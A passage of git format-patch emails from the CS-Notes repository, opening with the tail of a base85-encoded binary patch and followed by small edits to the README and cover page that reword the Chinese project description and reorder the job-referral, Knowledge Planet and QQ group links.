znCCThPb5`xE4BXsw&CNU9O45y4zP-3aM8%-HA}G>_(|lyouVrJ&bh+K4eQi#M~5n-
zax+#O4WqIGdO!5c`Ze;^J->Ia!auJY)~`h698J9fx0?}_MCN1pcqgBds;|<#JUglC
z2n}yT(KUOcm)>hvPiBg`eLPeA*||l&-?YMhqNnS`7B(*~w=)F3%-WBn2FIw(cxzW0
z9>p&4ZU%uuc6|!{R;^W4PFu96uHM^+ZThD-T?I-&#`3aBD2VCX0VNBTM;(bDK1d=F
zC)$-=@X^lGj*Ik<*oN9SQy2;8hDz$8>O$3&Q1oQx+Ml;OT09XqJ08hq$gveDq05pl
zGil=uI+`oWxfL6u6KEYzrHKu-5hd4?z1Ht$-t9(MIgm>+ME=gcYigG)g4(V_eVrAF
z!<&Mlq9)YNZfO3)$L=_VCjujOC53-TBlE?cwm#IA{K^3(V-QhZ=Bkd-slh$e_mNvK
z9klJwY(|sltS-0*Upwd`n~{y0%^`3GlyrX_gCv02CulLHi#e@h+oq_hx^kjRsSEdd
zJ1es3>H0_3Sph43MI0RKfk{Ql<BUc}ON=C)w5Y)ao~?2!BXmVpFS`(pf0Gr_PmgT?
zgiT9buh?95FS`AAHS-~5I@u(hMN0cgkCl596hC=y)qSDO$K=(BY@*G(w)45UY=R{i
zFF)JU?TE>V(P^9kt&+&uA&kX~A#^4nn1y+S(?nI*T^+y<(7i4!Qkz8Eyo!>9T_vix
z7#QKuhplP6kj!pLF!+`bvc+{IBrq`u&hDw8#nll}5g)cwQ~T?BJuEfLb~2@hz=6n)
zgjm~BD(P}ZD`5yxT0KoTOIMDHM@4EQxYxB_>}x4aL)P>Y%AxiI2HXQAfyhF@<Q-6)
z$g*&9Bx!Dda)-&UJJViG5j>iSSAg^;rz(BGZU7Ck($<h|naHH~%;*hC@_|U#%u=Y>
z0%h7XG8j<F-gz6$MNt<`SH{rxJ$hcY9@%!`Rc;oXjNH_fuN;j*LBVQ?y`m=0u~{q0
zEDF-Y1eF+9A(GGL*S3&zkr6as8$%iCpVa>D!Zdk1)UB`klib_gupw3hA{e5Kl&y2!
zoH0u{Iiv~9#`7Su$;EX~AGwF@c7OY${&GkXQb`<;r2Qv+ydvonMxh?(uOEhu)7j<Y
z)D<^9w)=L2`#{OG=EGfWK%}r{%u+ndCnTY<<&xt@kwJafMy_V4pA{Rby;u1xA8T-4
zje1nH4J5*QD>MVW!6PtA_~J-1W07OYq7?51&@g_@s%np3JgA;0QYnR-R(z#c+cvdK
zOgOr)AS3c6f@>W4jy)<<T%&uTWOKP(71|;yqIql3Zj<*{$%sfg@X!-~C?!)_pk8Sl
zs9bd;jy>7Xw-*z0k@~9hBe-x?@U?yMVZ`8r<ga0oxeCt`3TG359bzPoEg*A|T2NV3
zM>QJd(aWmpioQ01Uz5CL6C4%>=3x;dR;_s<kU&q&;YH(ev+=Ar<WVx3Jv&MVZbz<F
z?oVfRO?abi3nmS4?pvXi!~}(Cg(-Yl=Yb|d^08R5qQ=y=ikj%2&M3NbCm$0p_^lxR
z*B#;lK-GV;Uc8T86aZAYdk=Oph!pJc<!-35NZf2bf{Xq1*ZF=a{=O#;+2nke+jSNz
zyV84<lTRmT-?Z@vpVs7zIEMC)KV2fOx_*z2ucmbJ(t&kR{FzOQBUH{LaB~K8U<9j-
z9D^)r5yb|%UCidW9ipeYtyZ~TQQJ_tacgpYZ;X$;xXsL8Qgj3nTGFmZ*6v`E+7~UR
zijMPYarbpk8@vnE!0CR5L@d1-CM;{Awq+nPLF6GTqS)(sJ!>RzW~X)(F&d_O%Tc;%
z$)hy!2PZQs1ni3>OcIhY6*Kb)6Q-Msm*yaHCkqa_7*Xz5`+_m(jz;L5Ro(zfB2)3z
zrN04mfW>z%=0_(h+}yHg%#u3YJD_r%vqKG4M{>7TqUqzJ+lD>P7w95V0io?HP9)%U
zs2J=RG;g&eW-%Shj5EuWDqPD{%YvOVz*;INH@dEgS|K;HY<AOmGUO2ylfX981o9%t
zK3~fplO$*{ROWMqxxV7LRaIAAd6Bl5kadXZ1OT*H8q2H<mJl$9AV`vdO4P*^&Mi=<
z1w~Y0q(#%{(@3PQ%C$@F+RYsB&Xeu_zrE{4K6<`=oY>TkMHk5=4AP~`v`RS0R0<Sh
zoT!3a?N>yLQ?<7KWwH9VtQ9`B>?va}N=Pse=MG6%BziFvKETfw;-yOWvnGP8QAZ3#
z<zrgrYteOGFIJsrL)NEpW3+CIjS(E(H1=w~UwiJ65)xi&zU#<i_hiDcM@^gnt=C>m
za(qQb@%HM)``+IcO{_n6`-3KWG0=tULy1(a0f1blBts+a;TaAjw+`gKXA|@F(HEj8
zI+5L$=|SXzm=03bzAV$K4B$jm!1hODr3Hyi6N>AF+Pj8|oD}7mJ|NZtk70T@3o<q4
zj~iBU$0L#a8ns+Zqm`^`C$(3CCls$Ncv;=FtjBX^&f2oW7ipO|Glu80^hqpoH5mDI
zs?|Y3g?u*$YAT~fJrT{(%9ixZf&HC?hgcR7n_g9#P<qY_9|U;*F;V#%u4V~cJF!&e
z=5nHH=IE-fMDTfLm}04QOhh`Y6_O-oLXZFwX|6(X$o!wFl}P@x5;Rb^A)_XYGe+`c
zUSwWWL)}+Fy_)9kfzp*p%wX!+m|D*se9r=+W3lXPl19rFEUVp!G&`DQ?pG2etC10`
zMcOFoZF>}$SREZ%dX*Yh!L?-WJs}Apk_C{-7EdO|7_y2iAq%t^P|Br|6J1proIYg7
zQpC^OsO^5r$IlQj7rVc%AB5W?L?xOv1@gVhp><W&sECS+m;6BWW*-$}IlnhBR(&cD
zZK0+|q;sb;A==_K^7wJ2N->H_bUYlO<!_rbR8)4{Ymt!|Q0S!k0eP5~23uCjM@S67
z<Kf#JYh+G0-P)s2tG*k9Jvmj#uKX2G6SyYc`^;iMCNOZNe2F2E8am_b%!h!-)byF<
z3Ft}fXs&0g+~0W^oZ2Ugj(SV4B@(P6JC~l?w$VqOP#D6;!EKyGVmTL+>8h4T7A~pT
zIOtSXx-XL5vO5=`Asj!u({d?sF(uiFO+ld!kG3mHN0{a=t$2|`0~huxxz5!W+w!FC
zy{hb|o(=(b1nb(|NFquk6LS2^sxF<Z(BH1ZxyXpW5qXzgSHz2R(&+%=b(Y?G2_yq=
zv2iD(ih9+a$dS>@B262OtF<hJ8jS!8k$n5Mh??+;ZM&=@J|!MDEG>h%lBLXq2c8R5
zVOJcE)~O@W1h}cP%xGk0GTf>y3_ZO3&3BHnTMiscpoera<B?dg0(jgIEPyn7J7d@-
z5oWdAL=)oR>W$TO)e$_u%@<#*d-qsIIr1ZG&BXnHI*jjbF#V?1LNPiZmRqH`+@0|v
zdbHBVkwz&U6$<j`>Rz$xHo1m?N`iiNz{*?geYV5S_vq5b`vxW?P%4aaabMFXmoj;H
zqj!naZ(x;P%Y<C$g4bz6{PWn<6`E$bYW&rbU>(cMqL8XDX5-9_RpF{_%%4rUVprp@
z!nUB4=BmEW+6^o0VU_BLhRkzw_k>3xF1n(tczNynbk5&tI{9zPnh9y8cHOnCkpQHQ
zK9VlL**oSU+E+z#Co=-42I`veRsJ&KpTQ}=`H_5o8F5eGl;8ZwzCUot$P(|dcNVF-
zq_Ij!mu>BVA&qLatd=?3CSBj){Gx?W$9Wg0bNy#UZmx(;7o$<@GKubDPur1y1y02Z
z$q|iJ^W@h=_I(^Y58W42yT7p&7g9lLY;g=UQ>TfQk?9#}8_&8>vjE7)IZL^mouf@W
z-{+$Gl8v-eeW_=)yFL37D+&G0$_Z=@Y?Zav$nO&+L>KaRXF%PP-tMZM*}S@Vuy=vf
z)$gZ1(1bumEqn9YPm~j2@gZ?{JLY8&9bL}Ri0*F8n(DfvxG#%(<4QyA?bc;d>Zt=V
zeewrobEP7rsC^Hha~#^JzEom2hX-)eRQ~{$GdAam?K#`gYRFl)=T!-JwgBp}KEoQ<
zS|2w=6v|{+q7~Hv4PSqi8^JW(aSS_<b@aF3r~uAYsgeTd`yhD?XKR-mOqlL%dY5t{
zXw=}mHP=-2RsGk*+t;^nNw_qm5{l7?<V`+TOEo3FUc_F<`X9-<t6E=eUA4F>?kse<
zMXBvc92g;B!Wz@rG8_XPb5NN^H8OUV@p9{;aa3!%l2RKhaG@>WS&dq=3Y4VwOCN%q
zj#xPgpNz{J9n7r8SV=)oYn)+S%;IS7=#P3M9T5Kj2bCx7nkU8jOo%~UZ(ciZ_Rnl2
zNES0jL%H?ARdc=exyi*>gIt=bsxG?g;)0g+_V9YUt)T_gH;HL!SpNXeeT8Gyfjn(o
zk*1asimTn1MOUKeh?*{*>}H^`cc>@jZN#$x$kr$AJ17U5W<(Vw#U5$=h0z0(e<P8h
z%>8EPHR-Q29if5%$Ka6IGP3<GdsIaemDwa#4C9%xxciZhU)0gfQw9;uMQH4KI4+33
zC6T_Q@25%m1U{xTEUdINfz7rK9|a#MzcI%e(MhR|Q4}tz`sd7==&FlZ9l_UnVyO&q
zNRhQMF_Gm9JyV$i3dpiK7Cd6twU^=bq9avWOO>h1uPWu}FHyoerv()Gc@_nb$$^89
zPBF!Zbopc;WKp+_D1w{ZjJHzGL{wfaM|;cHd|7ci`d=N2!DsTzSZ-M<*1|17QWCi<
zOz~#O(ZW>1KTJpnBDcCCxKi_I)~(|^xkwSFDk+(bxIi~85f_U?psKn2b<eJIN#rQ4
zQChrEP{)-OJ70D(y7AY*@S%DUeFy=<#0wBKdNo8~3>{H1W5kG@ysc`gdw3#huHwIP
z;<L@bqGads+WZi4a?(NBknkYCGOn$U$Q+vE<zZsW?k^WVi&M>HBu#pGM6M)EZ5$@V
zDQnii%pC?1&RFj#St21Ze0XS_Q$<zt;Zjb6>>4LvNID|zHYU|uPO}Vf=~(ofn<M91
z*&=swYBP#y#mJ*mL{#NZ7KnK4assuR;=u|_rRJoPY|;fb$v~b+>|!$-5{+U#5gpzO
znnXoiIa5v*{BNsf->#`GitH71cGtQ_<PmI}v1ZaDawR_*0UQ#7goh8^8iBsKY79+z
zlUF-hii{ycY@%U3l|^JN8dX~*GHt-%akl4@$}Gn?Dk`+8Z5obixm2RAyvxNPKabnC
zl{p~+5y&Xmni4@9kAOobSTPT|R!khiDhgI=6%}<xs;Z{Gf4?_-pV{<N`;_tf^LM%Z
zpG7~pPY_6ZZ!N(`bHrNLErk@GN5jr$k4#C**;(d`RuXS2BIwZ#M=q+IS6>$dx2oK3
z=4YwUg^#MlY)Rx~^d#Prfl12v-Z3KBzTGr;)92&&-tQy!SC0Nh@Gx}fjK0-Mo-;U<
z#mr6&IzVvDnImO7bdbopd?+|ULP&*Nf}ZgjF;map)wB%sCq#rKl#DWiyaZ$6&ED($
zf~2x{qJO<EHjDZmC<>fMTZ^w9eBH1_CNtgC)D8-(X380={tk=~-F=Jt9y<IL$fyL0
zQ`Td6_KdL3NP)s0E!r|d!`UNaOSv7&uV*Ua(c0<EoKe?+L8Ish068VudWJ1v2oIWf
zH~?vqT#F@*#^SOuDjcAW?&o$)hK!=9zC=+z>vXSUxi>gi?l|CB^?fR|+fY{c)&OSq
zX>XQd@;H+l+O;fHKt59l&2=h`;p49olfoB$zF@dWj9zH4NX$F39-PPp#DPdpN8=0H
z`)F5_LpfE=Ra9>(qOaiH(U@$)QxC3&U)QBsU?6D(hy?W5h$N&`hO?1J<q_ASiYhf+
zWFb^cXoW@+a=F^_Cylv8dTT#$<VT*0-lYo`EqKdKodek8Vj2BxN#0kxiSEuUz4uSo
zKhtUF;?4<SoR!b(9<A(^%dlQEc_o9JrV1T`vHZOr%_Pi(z1E9IhQyEN?p#q-&TD*6
zn{aK$zw5xvF5}hsloACFnyHQ)t;0#<v6)15Sp5X{a_S8YaP4J9uAi>_&E3~hte^FD
z<!CAj8Y<zo^_SS&U?gm`n#gN0cXUS}#+DDDUSt^6<<*O;xoQbvLE`%91cIuM{Lp31
z#~?a&R}!O^K__n#%ci=k)9FOuz6H*r6tRGi8g!!)t&7#$XOOJ=$DLzp>txEL(Qw}l
zf=0PhvxPEQN})bt<(k#yR`f6qzO^U{VLllMm0gzEiXKlPw%~Ba#>Gg0R?+mvAemt@
z(&IZYMKFknC47|&@}pEGe_vP-7>o@=#sd$RSJDVG3W#nrZVZu}Qe7PJXq*vIe3MO6
z{L#AJyJlTR@Ca<;Xfmx81r1&9WE>i-Gz%WvBGKy~2nyFMuvfd7+s-huFiwOQovPkc
zYOn7Ou>SzF+B^HK@g1zH820vR$P`tju|@0p?{)Ez5HKCuO0qX3ZZ#R0ppmNLi0rTO
zReHHol{MFL9Y3z^DJ9%=Xi&PHyK7zV$l|-0Y-G`lrm@;Bto~y&D`<}9n1eL(uP<{}
zid9AA<?*<{`yA*ug<S0PRjE85wzz#SxoG8kRL81MnDRb19<J+X<hV-%2V;3!94ZEC
zqAvtrdEPHT{{ZC!ZaUSe<rhJy5xulGa&zfT^i=G24Ie2QvO0*%>#|b(f)^W{2fK6f
zqN=x<d9-(k>@;TXw-sn@5`DS7>Xm{(%G=gz)Uq0vHDfW6)v43gauRJ7h){IK9N18*
zDO6_;R8Cd#UySuc6}2K47hhi?iuu=#2_m;7UuW%;6k`w+r6T5(Sl;S}@u;4C70Ire
zXo@e?M|>4=U9jv_Z%1x)11{31BJv10Nd2c7DIcrjZH?As%a}%#aX{Uj6hflvij7Sb
zd?!!S@4CKn>A@QUyc1uiPH3K=&GA!pA4d18f96$o8@Tuldu_jJ@@qDtkQX)>H1Is4
zv<-;o%d$0%NZWt}n84Dn$B2u05fo0So=T|I@%zK9KkW97{_8w!e_%GP`?<P0Jp<jQ
z+H0!|Y>9Zvao6DEwgs3fRVR*Rj7H5oFK99-!j>+W-KQxPS2Y}}tK)Ss-K`Lp4%~!-
zmXHgnU0z5X1e_%AE+lvlm1SsDN{c3n?HQ3vH$>o?>!Y`W)B32A+;J?jCT-1>GdBl$
zXSTY0Z41;-vDrT?y9tvhE&l+lUES)K`;s_ooy^uEukuJ}Ic&2hLqP(~oV=>371QFz
z`O(1LLSz7vc_S6SQzELWheY?ZM=HI}YKpICy-P@jmq6ZspaNJSb_8!w4nz$=$fD9j
z_=wViQM`tGQ`H)|2C>?w;HdhYHyL%OUC{>wCBq8NBxh=mhzd&CA}gzPdM=8MYjp1m
z<eYR(JX!U}MtLK>b%PU-MLV)%?+OvpDDuag?}qIchN|V)imIydRq<9+Va+?Or8+Xg
zEKBH#cgP(*x6aq9DV4lxM!4SO?D{pU+7%I~gP7fUl~cj^4^}}&lIy-9D5R)fL{pGC
z)P2b4ysA37C%!0}BheSh6;p?wh#%rjs=DpK$Hjr}g(YbvF9gdX`FTJ{&tXs;g&ePQ
zoQcIfy05pywl~$){-2{r%tc5>l$8sESgk%855`tB=^ScG;a{%IMMrxTG)_KfvAEya
zXQ%n!mxO>BkjYp*jA-eEkH-=@^DcQCh5oxa8>a@ZyQ(6lz9C&M<zf}w_FEn-T&_U^
zn<I1y4P|4n^zCGBLiA}w?TFU>a@Quh`?@bWL<^3u;)SKu;Ijp3SkbPhss#lJI&5)z
zc<RVw5tii;ii?do3wD=0Ub>7_$mLgV0%w1Tuh`q?<N>6hQ8Q8*7y#g)(Oi*7V>cs_
z3Kfv6$?Da6mlm9^(YosHSnLon*>T`d?1%bLt1B$?X0U<DAb(Z_3%Z=GZn(wcMg<Pk
zUQ{2A7_L`wPXQs4$rDD<j}UEV@tDD>5J|l9Le?%As9cgP9EgGiBap`jBB>^|HBA>x
zQD~iuNn5e*k*^jQm9!Gejn9}D6Eb50$wZberG*&C#O7{O9h6^kR;H-cO?*e|*bGN!
zJp_I<r(PUkIn~_t#-~rdO0Gpf&R!()Dt>bC^W)c4kOtMAAUVkVeH8LnE|5usn+Wj|
z0cSC!LOc{fY-H8QHOZk@wRB!xd0eel*HKu0-w4&@MXz_1T-fAOqpUH>?jQ=$;+!e`
zii(Kh=Mz<5z|&s?rgSa2^PKmyq+(7g?T_Wf3p4~Ym8ZU1ib-Qh-XcO#9h0+$Yl)0v
zXo}B!nR-vge-QkCk-g88O?CGCK3+Qi0NH+G$*duLujbi6@SPAo?)QccnZ!v3$Z{jq
z$iC_{YU!fz^4FC<<iIyTiTLs8yo56~_GB;#*fsq9d35nvR3c|}NH7B^=-qo_MJ09q
zOA(R-_+#rIkfI;PSXQFRi%!gnjOK2-qWSo*Y(A3xsro*;qlufZ>#<Ct<PHQ5IDasP
z$a;py5Y~!Qv<d9(RA0gNYwq}OLu*Sy%;lKK<Ww;hjy?(*!Vyupk+HXxESwP)6;~#z
ztEUe?61fa6=^G-Im$2uP=;e6m`ogLtF>FbG6p}?M>C+)&1yoSno$N4n7#zhU)#p@d
zwauQ^^V240vU`M{d2O>~J6QaL^@3wJ%qb&{VOIT6!9}%r0SN5{rkZe6)v?=#RwiR4
z24L8r(!mXWGZIKBHRO&+Wq=v(cb7HXrO;BNRqE7DSIX<@q)ICy&i4y#TEZMH+{&Qm
zGG&lQx!m73A}f(~_Uqz+wgjkjh(IFu2&rRLe!q4}-~kN)_P5VO$SXxu^5OTjNc5a=
z!eJD^BQ6q4m96hl={6Z0eeQGhMdT<suWNrzrit`;-D#-b%6)vw%&|<^6+;RgkUTCo
zy0H%$jboG|b0RNv74K>KRaHguUl}VpckKRSKAAFZTGO7}C*=S;^y+krl1V9c80d1U
zQSNh<s*0<@t=C1>5+hPYkA`H<8&?O1i<OWJ#R2mW7}vwYCwzH1SGK7g9<1|gS57)2
zulMlV=j=-+{IBEt_-*s{C6j(v@P8%KJg;V0y5$D=s#mZn934YrV-?aDo@|K0gm*K!
zRh&_D^U-*Jnl}Nnh`!Zo+dv&m>a|5o<umCxBW99+Nky!@t~nk6Em0R6%s(4ZJdvp0
z9H`X&;*^){vtoWt@%zOoFWF|q{F~$Vic(*)&58Lp#@zOsC)yQN3JG@D86sunVC*ST
zlL2vjzEVKBFoQBN5&AnCH&j$aL{vvADyNT65Ac1tFYT5m<6=IhqxTzOOQv029Ur!x
zSQUat!G!PE-rF+9q;b`gIaHg43hyeR{moO66@LlJ{jh(DxKG>0U*X#xmF<eXuVVa_
zD>6@oPNe3|E;^?u=>Q&ZM+P)@g;ZiMCY({u(Gj|<<U6vNZbHMSjYKZV)q2>RS_>GF
z1!_T~0i=wOzciGi72LhsPr*b@IDI}N+i9Nd!o8_SM{S7pur^T?oXXFd?@`Ffh~t3d
zY>BNzYx~0UDlWPwl4zbQ$^H@SA=gA3yDI|_o?ZtsN9@^Y#>d&JYL3a<bYHx>eLgL^
zW_!0<_M+&k8kP2-vQas-nm}l>q@-L|@qCN{-UuQ0ku|O5(5qd{ik@iQeV#7u$N`Us
zkahGX;kM6h4vHFXfMf?C6_hqhiZvr}1l6ilMXxrFM`-VPG)2>Mf~*Qgy{FkiiK+^X
zB@jCzI@7M7ywX48{LJ18Eko<>`Ky!Z;kf;+M|OQzPJq%j0m}SbpxuQl2yoNFH;jS!
z@r!;mRO7+Aw^ZP(=i_zjVNwtpSNA@xAfg))KO#Q)0$U$8w<C_eK!~dBZHgmNSnnrs
zRaHg*0Ho^#FJ3%p4uH1c_82I@!p+E7F@T2X+MfgPy^n7cb6mX1<h(fPuCOV#?I<0x
z*U{<pqvd$1QTsxVP2OPGc<P=${Mf6gnMY%9Y)`_-)JJNFi|z6M00(yU{{V*Wl>Y$c
zJMn3B8$F~p&u4X&DCprE3B@*G4hPv^K0>&o3}ftQkcB1hi!sg1sv>Hx^HolYAq|ZP
zh5?T6`oI_(EffJBje!OnG<3Q)Iu1J;&|?~n(Vpg-DkA8PS869Uzev>f_f;N42pw%m
z9Ab0W8f!&6^7CY($s!}yg0YOz--5pH4;zx%PR%dt{Ct6TUAmg?k)+}qkdsu<uwiP6
zRIvUi%wdO23=|wVaRQ&(134JPVj#hqyO&5LGt^j&_o}we*UXkeG0v}e-S%;i7s|<j
zV?JaAY|4*kbrxC3$3IVMrw2J}`)ht31XHcs!03IXIJnt`OP1gOrH@4k$KzT=<HAb0
zSGhY)S{+fT?`g`MWD}oHEHOTYl1WU~2Aw^BRGy+heD)$XFEoj9MvsUQmzfwyLU)x3
zr<yLR*CGwOH(yGHuPZq;`~`RvkgIyIoP24qxanCi7~;nxCQ6p&L4r%GoaX47H&>>f
z^-HzA)!k+xcAR2SaFLco@>AA)=sE_RS*9f5+m!rVDKSKvNJ%y-wIAio*R{N@cY+7$
z`HTXrkdRDbixjT*U1z~dnH1F3TCa;lF}dy6inYp`>Excvf>E<lD{6w>U86$R)PYlK
zuqBen4c1XA&NUxa*zFF%E8Rw@gzpO0q9U%GQ&@*xZ1q#Uv1Z&Gjtvl6rrek$`Sl>3
zwNK)aVXF-<x-m^PsD=>{JCY)C=T}7QC|6c)-@ots2N-b7m`%EO8=TJ0F0FKqT`ec7
zs=t|3v2w|)byafc?;GDu;Z<X+6}y*ht6iYU?Qc3mjDfnvWTkRstqPQ2%@EjEB0W=^
zPj~QjPx?)l{{W2Nr;qI$Qux^i_`*+rYgPN6qu=pAYySY-4Ta!`{Nwh&^Ne`f^nY$O
z{U<Q!uGp2dUQPC}0#ti063|%)Ncbjz`C!0@a8io*HQe6Ke7I5fyr_7A(<`>s-L0=G
z=mj+efoz(=qHIYVgBTx}l$()=P?EbIK4o1IQ57{+NFB?#%L4xZh@P)&=2bw()Y2N}
zJ}qPT<OJlc$<!pADTVlpkfu&4rihK<uDVzorK2n@%**HT$(48%czX(UTN{nEH0ns$
z?oX&=u<<1osN9H%s$++}sxK5ta`hhSH+YufYQAaz0D|5e@AN!Y34_fyrCl|D?2@#Z
zBCqoNe(p<Rz}#eN*?4Womc|wZBCSHf8}>^jFC2_~Nc4&zRHCBxv{K()Cc5zR@%pn>
zsrT1k9-b(^-Ro_ozy0+CzuEquicEgvr&h!}qocliB@$Ys{8~SgD`&XGER`e+C=gv0
z5d??RiYh89=$h-|qukwbZSJ_7@|K?gpT&esCsk>P-+K<%Bbgw@9ES=jqZdvrQz)7*
zyu5T(R82Jh0Ho=E_|5uw{?WBBjks6)UFhIMBz1kPep@VTwrr4mO$c@@v9>b~M`I$7
z)loT@ilS<|FBD(+FSn1`*e~S28^0mCk=5Tp(_Nz|vCsvtr)-<#f5_)$$tJ{cj2Df#
z)fBLlW<+vu*Ir#0LLc*w+W!E~G2*ZbyY@>vg}^FqPP|y011$aBt_s0eq-m8}tx>A(
z>eOp^Dx+0(;F?123grnl0d4MYdsYp5-1=4m$dFmpWnxOBNcjFF<{IP>^!-nnRlE~K
z@kiS`MSL~T7%c)8x|L&++aDqt!zN20)R(Ep^76Od&}lJFbCnvZycb18)<00#ByR4$
zK>-jJ2QD3wh(jWpZWI9{=NXF|iaD=iNep)`zG#hKC08Kr{Q6dP!MZK7#;ed&0f$%;
z7STsm+k;7qN#tDdH~dDcP)x8l*GuQcy72L0UHi#5H0$c(dv=^a1oQ#HWuGP)$;&Dw
zAq4*bmeh(jfYD{sn^i`tqkZ*uz9W_NRE6BmzFuSmSU|O++7vEQ@)OA)V!gf55xT3}
z^!vWuRZ%G#uV^tExw9Az*Y<-iSux-c7CJuK@VsS>{AF0JRZN8%?oKPg7fm#Gi<576
z$T*ipc~pBA-m4_eh~$q*+z|2HQu#!Cu*!I~UV{n=M=JdqE{@^i-yOAc;>oQfItWgG
z^YyEq5YB1VLtiap1EWbPJ^~Et<U~YIJr#8EZhARfr)^=o>!~)*Z*4NZ(;jh{Dq7hS
z$~$8BL~#*F<y7wq%~3s^c~jKKA(Mp&sP^o=F{wj}Z$@NWZC=(n%BqQ~Ck=gx^ncQJ
z=j`aJF(ftQ&uNnos!=<@cb<lAio21=-J`YDsO)T2YVl21%b8cl>xS9?0AR;{S@HVe
zwtv_$-<EuSxNV>I40q+98)4iXpW2eaxVKj!u_g`-8Gyl|)6ugM2_x|U$HkmgQ_sy2
zbzT~JcmDu`{mTCUY|$SZApZb;uaEpDd3W5of5NQ$`)ViStJ`keI=Yvmt);dR+4(H9
z*a99nvKgoWQON_+P2EL%iHKOWYk84Vit}miugC4%nd9yIb4674{ugN1`Mv?|c7-1=
z=&MMLfwb~rer%C^#C=Q6qoCx+-Sa+z^=EM<t5Frasiv!<a<7f|`f@~ix}CdjClmoy
zXHpP8_c?SH)}q45B}`dL6!)K@a;<B*S431r(KsilxBJt!Z~UyxJa6~>VGjQQYl8fG
Rpnurxv;OAX{{YwB|Jllyi3|V$


From 3279844322d704b7855896b3f36b7f19e3829156 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 30 Jan 2019 17:35:02 +0800
Subject: [PATCH 083/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index d513b96c..6117930a 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。你也可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
 <br>

From 7a369d2a9eee8f0302dfa7f8abd757faa7e36e18 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 30 Jan 2019 17:35:52 +0800
Subject: [PATCH 084/100] Update _coverpage.md

---
 docs/_coverpage.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/_coverpage.md b/docs/_coverpage.md
index 7cafb660..e1b425e0 100644
--- a/docs/_coverpage.md
+++ b/docs/_coverpage.md
@@ -2,7 +2,7 @@
 
 # CS-Notes
 
-- 本项目包含了技术面试必备的基础知识，这些内容从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+- 本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。你也可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 
 <span id="busuanzi_container_site_pv">Site View : <span id="busuanzi_value_site_pv">
 

From 00b4111a14fd27fb3b2865f60faa6ad11b33523b Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 30 Jan 2019 19:39:46 +0800
Subject: [PATCH 085/100] Update README.md

---
 README.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/README.md b/README.md
index 6117930a..a8ddc323 100644
--- a/README.md
+++ b/README.md
@@ -62,18 +62,16 @@
 - [构建工具](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/构建工具.md)
 - [正则表达式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/正则表达式.md)
 
-## :mag_right: 编码实践 
+## :art: 编码实践 
 
 - [代码可读性](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码可读性.md)
 - [代码风格规范](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码风格规范.md)
 
 ## :memo: 后记 
 
-### QQ 群
+### 内推信息
 
-为大家提供一个学习交流平台，在这里你可以自由地讨论技术问题。
-
-<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
+[🔎](https://github.com/CyC2018/Job-Recommend)
 
 ### 知识星球
 
@@ -81,9 +79,11 @@
 
 [🎓](other/Planet.md)
 
-### 内推信息
+### QQ 群
 
-[🔎](https://github.com/CyC2018/Job-Recommend)
+为大家提供一个学习交流平台，在这里你可以自由地讨论技术问题。
+
+<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
 
 ### 排版
 

From 5a299b7cd4649a09a3e49249b40fb3be1a21baa9 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 30 Jan 2019 19:40:46 +0800
Subject: [PATCH 086/100] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index a8ddc323..37bea291 100644
--- a/README.md
+++ b/README.md
@@ -71,13 +71,13 @@
 
 ### 内推信息
 
-[🔎](https://github.com/CyC2018/Job-Recommend)
+[🔎 Job-Recommend](https://github.com/CyC2018/Job-Recommend)
 
 ### 知识星球
 
 想要向我提问关于学习和求职方面的建议？来知识星球，你的每个提问我都会认真回答。
 
-[🎓](other/Planet.md)
+[🎓 知识星球](other/Planet.md)
 
 ### QQ 群
 

From efb9eb7bc3ea75449fb3bbbf17a30187be9ec0a4 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 30 Jan 2019 19:41:37 +0800
Subject: [PATCH 087/100] Update README.md

---
 docs/README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

